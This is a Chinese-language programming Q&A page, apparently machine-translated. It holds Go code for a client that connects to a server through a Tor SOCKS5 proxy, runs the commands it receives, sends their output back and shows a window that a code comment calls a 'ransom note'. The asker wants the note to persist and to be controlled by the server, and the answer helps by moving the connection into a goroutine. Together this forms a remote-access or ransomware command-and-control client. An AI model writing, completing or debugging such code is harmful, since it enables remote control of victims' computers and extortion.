我正在try 修复此问题以正确工作,我希望客户端在后台initConnection()并接收命令并处理它们,同时显示消息窗口,该命令为"CloseGUI".

func initConnection() {
    dialer, err := proxy.SOCKS5("tcp", "127.0.0.1:9050", nil, proxy.Direct)
    if err != nil {
        log.Fatal("Failed to connect via SOCKS5 proxy:", err)
    }

    conn, err := dialer.Dial("tcp", "localHost")
    if err != nil {
        log.Fatal("Failed to connect to server:", err)
    }
    defer conn.Close()

    _, err = conn.Write([]byte(fmt.Sprintf("Connected")))
    if err != nil {
        log.Println("Error sending information to server:", err)
        return
    }

    fmt.Println("Connected to server.")

    scanner := bufio.NewScanner(conn)
    for scanner.Scan() {
        command := scanner.Text()
        commandAndParam := strings.Split(command, ",")

        receivedCommand := commandAndParam[0]

        switch receivedCommand {
        case "OpenGUI":
            DrawMessage()
            //The problem is when calling DrawMessage() and the GUI shows the client not processing the command anymore until the GUI is closed which is a problem for me because I want to close the GUI by commands from the server
        case "CloseGUI":
            // Here I want to hide the GUI and set
            MessageAllowed = false
        }
        // Execute the command
        output, err := executeCommand(receivedCommand)
        if err != nil {
            log.Println("Error executing command:", err)
            continue
        }

        // Send the command output to the server
        _, err = conn.Write([]byte(output + "\n"))
        if err != nil {
            log.Println("Error sending output to server:", err)
            break
        }
    }

    if scanner.Err() != nil {
        log.Println("Error reading input:", scanner.Err())
    }

    time.Sleep(100 * time.Millisecond)
}

图形用户界面功能代码:

func DrawMessage() {
    // Create a new Fyne application
    myApp := app.New()
    // Create a new window
    myWindow := myApp.NewWindow("Message From the Server!")

    // Create the ransom note message
    Note := widget.NewLabel("Hello World")
    
    content := container.NewVBox(
        Note,
    )

    // Set the content of the window
    myWindow.SetContent(content)

    // Show the window
    myWindow.ShowAndRun()
}

这是主要的函数调用,其次,我想判断MessageAllowed bool是否显示了消息,我还希望即使在客户端关闭时也要保存它,这样当客户端重新连接时,如果允许的话,它会再次显示

func main() {
    initConnection()
    if src.MessageAllowed == true {
        go DrawMessage()
    }
}

因此,最终我希望客户端在显示消息时接收命令并在后台处理它,我想让客户端判断上次与服务器的会话是否允许该消息

推荐答案

Fyne(或任何图形用户界面工具包)不能在后台运行,但您的处理程序可以. 在initConnection前使用"go"关键字,而不是DrawMessage.

Go相关问答推荐

Go:嵌入类型不能是类型参数""

由于索引器压缩比限制,扫描包含golang包的图像时,伪影XRAY失败

+在具有html/模板Golang的Base64中

提供的client_secret与此帐户上任何关联的SetupIntent都不匹配

关于如何使用 Service Weaver 设置多个不同侦听器的问题

`docker system df` 与 `/system/df` (docker api 端点)

转到 bufio.Writer、gzip.Writer 并上传到内存中的 AWS S3

通过多阶段构建复制到 Docker 容器中时找不到文件

加载 docker 镜像失败

Go 信号处理程序不处理终端窗口关闭

如何仅提取时间作为持续时间

Go 中的 HTTP 请求验证中间件

如何在 GORM 中迭代一个 int 数组

使用 image/jpeg 编码导致图像饱和/错误像素

将未知长度切片的值分配给Go中的 struct ?

显示作为服务帐户身份验证的谷歌日历事件 - Golang App

如何在 Windows 中使用 github.com/AllenDang/giu 和 github.com/gordonklaus/portaudio 构建 GO 程序

try 执行`go test ./... -v`时,Golang中有没有办法设置标志

如何获得Ent中数字列的总和

map和struct golang的合并